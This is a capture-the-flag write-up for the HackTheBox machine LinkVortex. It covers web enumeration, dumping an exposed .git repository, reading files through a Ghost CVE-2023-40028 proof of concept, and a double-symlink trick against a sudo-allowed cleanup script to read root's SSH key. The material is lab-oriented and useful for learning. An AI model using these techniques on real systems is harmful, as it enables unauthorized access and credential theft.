HTB - LinkVortex Writeup

Liam Geyer

๐Ÿ‘พ Machine Overview

This is a writeup of the machine LinkVortex from HTB , itโ€™s an easy difficulty Linux machine. This machine featured a Ghost blog vulnerable to an authenticated arbitrary file read exploit, and a SUID script with poor input validation.

๐Ÿ” Enumeration

I started off by running an Nmap scan of the host:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
nmap -A -sC 10.10.11.47
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-04-14 18:19 EDT
Nmap scan report for linkvortex.htb (10.10.11.47)
Host is up (0.039s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:f8:b9:68:c8:eb:57:0f:cb:0b:47:b9:86:50:83:eb (ECDSA)
|_ 256 a2:ea:6e:e1:b6:d7:e7:c5:86:69:ce:ba:05:9e:38:13 (ED25519)
80/tcp open http Apache httpd
|_http-server-header: Apache
| http-robots.txt: 4 disallowed entries
|_/ghost/ /p/ /email/ /r/
|_http-generator: Ghost 5.58
|_http-title: BitByBit Hardware
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.01 seconds

Thereโ€™s not much to look at other than web. We can see that this is running Ghost version 5.58, checking that out online I found CVE-2023-40028 , an authenticated arbitrary file read exploit.

๐ŸŒ Web

๐Ÿ‘ทโ€โ™‚ BitByBit Hardware

Before checking out the website, I added linkvortex.htb to my /etc/hosts file. Browsing to the site weโ€™re greeted with a blog for BitByBit Hardware.

Homepage

The bottom of the page has a sign up link that doesnโ€™t work, and it advertises being powered by Ghost (old news).

Powered by Ghost Footer

Checking out the site further, thereโ€™s nothing but a series of posts by the user admin.

Admin posts

I fuzzed for subdirectories and files with gobuster and didnโ€™t find anything of note.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
gobuster dir -w /usr/share/wordlists/SecLists/Discovery/Web-Content/big.txt -u http://linkvortex.htb -r
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://linkvortex.htb
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/SecLists/Discovery/Web-Content/big.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Follow Redirect: true
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/About (Status: 200) [Size: 8284]
/LICENSE (Status: 200) [Size: 1065]
/RSS (Status: 200) [Size: 26682]
/about (Status: 200) [Size: 8284]
/amp (Status: 200) [Size: 12148]
/cpu (Status: 200) [Size: 15472]
/favicon.ico (Status: 200) [Size: 15406]
/feed (Status: 200) [Size: 26682]
/ghost (Status: 200) [Size: 3787]
/private (Status: 200) [Size: 12148]
/ram (Status: 200) [Size: 14746]
/robots.txt (Status: 200) [Size: 121]
/rss (Status: 200) [Size: 26682]
/server-status (Status: 403) [Size: 199]
/sitemap.xml (Status: 200) [Size: 527]
/unsubscribe (Status: 400) [Size: 24]
Progress: 20476 / 20477 (100.00%)
===============================================================
Finished
===============================================================

The exploit we found for Ghost requires credentials, so we need to keep digging.

Next, I fuzzed for vhosts with ffuf:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
ffuf -w ~/GitHub/SecLists/Discovery/Web-Content/big.txt -u http://linkvortex.htb -H "Host: FUZZ.linkvortex.htb" -fw 14

/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/

v2.1.0-dev
________________________________________________

:: Method : GET
:: URL : http://linkvortex.htb
:: Wordlist : FUZZ: /home/lfgberg/GitHub/SecLists/Discovery/Web-Content/big.txt
:: Header : Host: FUZZ.linkvortex.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response words: 14
________________________________________________

dev [Status: 200, Size: 2538, Words: 670, Lines: 116, Duration: 47ms]
:: Progress: [20476/20476] :: Job [1/1] :: 1030 req/sec :: Duration: [0:00:19] :: Errors: 0 ::

Looks like thereโ€™s a hit for dev.linkvortex.htb, I added that to /etc/hosts and checked it out.

๐Ÿ’ป Dev

On the dev site weโ€™re greeted with a lovely โ€œunder constructionโ€ message:

Dev page

I used gobuster to search for subdirectories and interesting content:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
gobuster dir -w /usr/share/wordlists/SecLists/Discovery/Web-Content/big.txt -u http://dev.linkvortex.htb -r 
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://dev.linkvortex.htb
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/SecLists/Discovery/Web-Content/big.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Follow Redirect: true
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htaccess (Status: 403) [Size: 199]
/.htpasswd (Status: 403) [Size: 199]
/.git (Status: 200) [Size: 2796]
/cgi-bin/ (Status: 403) [Size: 199]
/server-status (Status: 403) [Size: 199]
Progress: 20476 / 20477 (100.00%)
===============================================================
Finished
===============================================================

๐Ÿฝ Cred Hunting

Looks like thereโ€™s a hit for .git, browsing to it we can see a file listing for the folder.

.git listing

Every git repository contains a .git folder, which contains information on prior commits, packed objects, etc. From the folder, we can restore the entire git repository.

I found a tool git-dumper which automates the process of pulling and restoring the repo for us.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
python3 ~/GitHub/git-dumper/git_dumper.py http://dev.linkvortex.htb ./linkvortex/gitdump
[-] Testing http://dev.linkvortex.htb/.git/HEAD [200]
[-] Testing http://dev.linkvortex.htb/.git/ [200]
[-] Fetching .git recursively
[-] Fetching http://dev.linkvortex.htb/.gitignore [404]
[-] http://dev.linkvortex.htb/.gitignore responded with status code 404
[-] Fetching http://dev.linkvortex.htb/.git/ [200]
[-] Fetching http://dev.linkvortex.htb/.git/refs/ [200]
[-] Fetching http://dev.linkvortex.htb/.git/HEAD [200]
[-] Fetching http://dev.linkvortex.htb/.git/description [200]
[-] Fetching http://dev.linkvortex.htb/.git/config [200]
[-] Fetching http://dev.linkvortex.htb/.git/hooks/ [200]
[-] Fetching http://dev.linkvortex.htb/.git/packed-refs [200]
[-] Fetching http://dev.linkvortex.htb/.git/info/ [200]
[-] Fetching http://dev.linkvortex.htb/.git/objects/ [200]
[-] Fetching http://dev.linkvortex.htb/.git/hooks/applypatch-msg.sample [200]
[-] Fetching http://dev.linkvortex.htb/.git/index [200]
[-] Fetching http://dev.linkvortex.htb/.git/hooks/commit-msg.sample [200]
[-] Fetching http://dev.linkvortex.htb/.git/refs/tags/ [200]
[-] Fetching http://dev.linkvortex.htb/.git/logs/ [200]
[-] Fetching http://dev.linkvortex.htb/.git/shallow [200]
[-] Fetching http://dev.linkvortex.htb/.git/hooks/fsmonitor-watchman.sample [200]
[-] Fetching http://dev.linkvortex.htb/.git/hooks/post-update.sample [200]
[-] Fetching http://dev.linkvortex.htb/.git/hooks/pre-merge-commit.sample [200]
[-] Fetching http://dev.linkvortex.htb/.git/hooks/pre-commit.sample [200]
[-] Fetching http://dev.linkvortex.htb/.git/hooks/pre-rebase.sample [200]
[-] Fetching http://dev.linkvortex.htb/.git/hooks/pre-applypatch.sample [200]
[-] Fetching http://dev.linkvortex.htb/.git/hooks/pre-push.sample [200]
[-] Fetching http://dev.linkvortex.htb/.git/hooks/pre-receive.sample [200]
[-] Fetching http://dev.linkvortex.htb/.git/hooks/push-to-checkout.sample [200]
[-] Fetching http://dev.linkvortex.htb/.git/hooks/prepare-commit-msg.sample [200]
[-] Fetching http://dev.linkvortex.htb/.git/hooks/update.sample [200]
[-] Fetching http://dev.linkvortex.htb/.git/info/exclude [200]
[-] Fetching http://dev.linkvortex.htb/.git/logs/HEAD [200]
[-] Fetching http://dev.linkvortex.htb/.git/objects/e6/ [200]
[-] Fetching http://dev.linkvortex.htb/.git/objects/50/ [200]
[-] Fetching http://dev.linkvortex.htb/.git/objects/pack/ [200]
[-] Fetching http://dev.linkvortex.htb/.git/refs/tags/v5.57.3 [200]
[-] Fetching http://dev.linkvortex.htb/.git/objects/pack/pack-0b802d170fe45db10157bb8e02bfc9397d5e9d87.idx [200]
[-] Fetching http://dev.linkvortex.htb/.git/objects/50/864e0261278525197724b394ed4292414d9fec [200]
[-] Fetching http://dev.linkvortex.htb/.git/objects/pack/pack-0b802d170fe45db10157bb8e02bfc9397d5e9d87.pack [200]
[-] Fetching http://dev.linkvortex.htb/.git/objects/e6/54b0ed7f9c9aedf3180ee1fd94e7e43b29f000 [200]
[-] Sanitizing .git/config
[-] Running git checkout .
Updated 5596 paths from the index
1
2
3
4
5
6
git status                                     
Not currently on any branch.
Changes to be committed:
(use "git restore --staged <file>..." to unstage)
new file: Dockerfile.ghost
modified: ghost/core/test/regression/api/admin/authentication.test.js

We can see that the most recent commits made changes to the Dockerfile, and ghost/core/test/regression/api/admin/authentication.test.js.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
FROM ghost:5.58.0

# Copy the config
COPY config.production.json /var/lib/ghost/config.production.json

# Prevent installing packages
RUN rm -rf /var/lib/apt/lists/* /etc/apt/sources.list* /usr/bin/apt-get /usr/bin/apt /usr/bin/dpkg /usr/sbin/dpkg /usr/bin/dpkg-deb /usr/sbin/dpkg-deb

# Wait for the db to be ready first
COPY wait-for-it.sh /var/lib/ghost/wait-for-it.sh
COPY entry.sh /entry.sh
RUN chmod +x /var/lib/ghost/wait-for-it.sh
RUN chmod +x /entry.sh

ENTRYPOINT ["/entry.sh"]
CMD ["node", "current/index.js"]

In the Dockerfile thereโ€™s a reference to /var/lib/ghost/config.production.json, the configuration file for Ghost which can store cleartext credentials. I pulled the file from the repo, but it was blank/default.

Next, I checked out authentication.test.js, and found the following potential password:

1
2
const email = '[email protected]';
const password = '[REDACTED]';

We can try using these with the exploit we already found to attempt to read the production config file.

๐Ÿฅˆ User

I found this proof of concept for CVE-2023-40028 , and used it with the password from the authentication test to read the production Ghost config file.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
./CVE-2023-40028 -h http://linkvortex.htb -u [email protected] -p "[PASSWORD]"
WELCOME TO THE CVE-2023-40028 SHELL
Enter the file path to read (or type 'exit' to quit): /var/lib/ghost/config.production.json
File content:
{
"url": "http://localhost:2368",
"server": {
"port": 2368,
"host": "::"
},
"mail": {
"transport": "Direct"
},
"logging": {
"transports": ["stdout"]
},
"process": "systemd",
"paths": {
"contentPath": "/var/lib/ghost/content"
},
"spam": {
"user_login": {
"minWait": 1,
"maxWait": 604800000,
"freeRetries": 5000
}
},
"mail": {
"transport": "SMTP",
"options": {
"service": "Google",
"host": "linkvortex.htb",
"port": 587,
"auth": {
"user": "[email protected]",
"pass": "[PASSWORD]"
}
}
}
}

Here we can see hardcoded credentials for Bob, that we can use to SSH into the machine and grab the user flag.

๐Ÿฅ‡ Root

Now as Bob, I dropped and ran LinPEAS , which flagged some interested SUID binaries:

1
2
3
4
5
6
7
โ•”โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•ฃ Checking 'sudo -l', /etc/sudoers, and /etc/sudoers.d
โ•š https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-and-suid
Matching Defaults entries for bob on linkvortex:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty, env_keep+=CHECK_CONTENT

User bob may run the following commands on linkvortex:
(ALL) NOPASSWD: /usr/bin/bash /opt/ghost/clean_symlink.sh *.png

Next, I read the /opt/ghost/clean_symlink.sh script which our user Bob is able to run as root.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#!/bin/bash

QUAR_DIR="/var/quarantined"

if [ -z $CHECK_CONTENT ];then
CHECK_CONTENT=false
fi

LINK=$1

if ! [[ "$LINK" =~ \.png$ ]]; then
/usr/bin/echo "! First argument must be a png file !"
exit 2
fi

if /usr/bin/sudo /usr/bin/test -L $LINK;then
LINK_NAME=$(/usr/bin/basename $LINK)
LINK_TARGET=$(/usr/bin/readlink $LINK)
if /usr/bin/echo "$LINK_TARGET" | /usr/bin/grep -Eq '(etc|root)';then
/usr/bin/echo "! Trying to read critical files, removing link [ $LINK ] !"
/usr/bin/unlink $LINK
else
/usr/bin/echo "Link found [ $LINK ] , moving it to quarantine"
/usr/bin/mv $LINK $QUAR_DIR/
if $CHECK_CONTENT;then
/usr/bin/echo "Content:"
/usr/bin/cat $QUAR_DIR/$LINK_NAME 2>/dev/null
fi
fi
fi

It looks like this script is used to remove symlinks containing either etc or root in their path, and quarantine any other symlinks. Thereโ€™s also a CHECK_CONTENT flag which will print the content of linked files as theyโ€™re quarantined.

If we can evade the filtering for (etc|root), we can use the CHECK_CONTENT flag to read the content of rootโ€™s SSH private key.

Initially I tried using funky payloads to try to trick the filter.

1
ln -sf /tmp/../../ro'ot'/.ssh/authorized_keys exploit.png

Since they still resolve to the same path it was unsuccessful. Instead, we can create a double symlink to evade the filter. The first symlink will point to /root/.ssh/id_rsa, while the second symlink will point to the first. When the script checks the path of the second symlink it wonโ€™t find etc or root, and it should print the content of our target file.

1
2
3
4
5
6
7
8
# 1. Set the CHECK_CONTENT variable
export CHECK_CONTENT = true

# 2. Create our first symlink to root's private key
ln -sf /root/.ssh/id_rsa ./test.png

# 3. Create our decoy symlink to evade the filter
ln -ssf ./test.png ./exploit.png

Next, we run the script with sudo and grab rootโ€™s private key.

1
2
3
4
5
6
7
sudo /usr/bin/bash /opt/ghost/clean_symlink.sh *.png
Link found [ balls.png ] , moving it to quarantine
/usr/bin/mv: 'exploit.png' and '/var/quarantined/exploit.png' are the same file
Content:
-----BEGIN OPENSSH PRIVATE KEY-----
[REDACTED]
-----END OPENSSH PRIVATE KEY-----

Now, we can use that to SSH in as root and grab the flag.

1
2
3
echo "REDACTED" > root.id_rsa
chmod 600 root.id_rsa
ssh -i root.id_rsa [email protected]

Yippee!!!

  • Title: HTB - LinkVortex Writeup
  • Author: Liam Geyer
  • Created at : 2025-04-17 00:00:00
  • Updated at : 2025-04-17 20:07:34
  • Link: https://lfgberg.org/2025/04/17/htb/LinkVortex/
  • License: This work is licensed under CC BY-NC-SA 4.0.